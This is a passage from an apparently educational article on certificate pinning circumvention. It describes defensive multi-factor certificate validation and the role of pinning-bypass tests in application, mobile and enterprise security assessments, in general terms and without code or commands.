Multi-Factor Certificate Validation: Implement multi-factor certificate validation that combines traditional pinning with additional validation mechanisms that are harder to bypass.

Professional Applications

Certificate Pinning Circumvention Techniques are essential for enterprise security assessment because they test the effectiveness of application-level security controls that are specifically designed to prevent man-in-the-middle attacks even when the underlying PKI infrastructure is compromised.

Application Security Testing: These techniques validate whether applications can maintain secure communications even when facing sophisticated attackers with access to legitimate certificates.

Mobile Security Assessment: Certificate pinning bypass tests are crucial for mobile application security assessment, where applications often implement pinning as a primary defense against network-level attacks.

Enterprise Application Validation: These attacks test whether enterprise applications can maintain security when deployed in environments where certificate authorities may be compromised or untrusted.


Certificate Pinning Circumvention Techniques demonstrate the critical importance of implementing robust, multi-layered certificate validation mechanisms and comprehensive anti-tampering measures, providing essential capabilities for validating application-level security controls against sophisticated runtime manipulation attacks.